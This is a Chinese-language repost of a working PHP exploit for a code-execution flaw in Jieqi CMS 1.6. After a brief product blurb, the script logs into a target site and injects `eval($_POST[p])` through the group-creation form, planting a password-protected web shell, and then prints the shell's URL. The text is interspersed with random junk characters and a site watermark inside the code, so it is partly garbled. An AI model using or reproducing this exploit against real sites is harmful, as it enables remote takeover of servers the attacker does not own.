Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。


; J( h% `3 _7 e" D, v. J5 d该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
需要有一个能创建圈子的用户。

9 ]- b" |$ v" O$ j<?php

print_r('
+---------------------------------------------------------------------------+
: e* W: N+ T- iJieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
! v7 C- Q0 ~/ M1 s& amail: phpsec at hotmail dot com
7 m' ?& Z9 h7 |% x7 ^team: http://www.wolvez.org
5 |% F4 }1 F0 f. f( \+---------------------------------------------------------------------------+
'); /**
* works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
; D4 W9 x  @) I, [8 Y! m* Q/ @# _host:      target server (ip/hostname)
* G( E9 x6 O0 o9 O' Spath:      path to jieqicms
- ?, I$ L$ d4 D& V: {uasename:  a username who can create group
' J, _& g/ q" ?+ k6 L5 l6 bExample:
7 t/ s, F9 {% `. l& a: A# @. Y$ K! iphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
" `9 V& a' ~  C* k& [/ t'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"
2 T5 v0 }* N8 b1 J1 b! N- A
  m0 x; q" F, d/ H, D) k8 z'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
8 a. C4 S' _5 H" w+ EContent-Disposition: form-data; name="gcatid"
7 c% f  O6 g: w( a
1
-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"
  m/ W, p- C! o( a  q* P8 ^# g
, T' |1 I% D1 Y! {: G0 ?3 `! ]' V1
-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"

1
-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;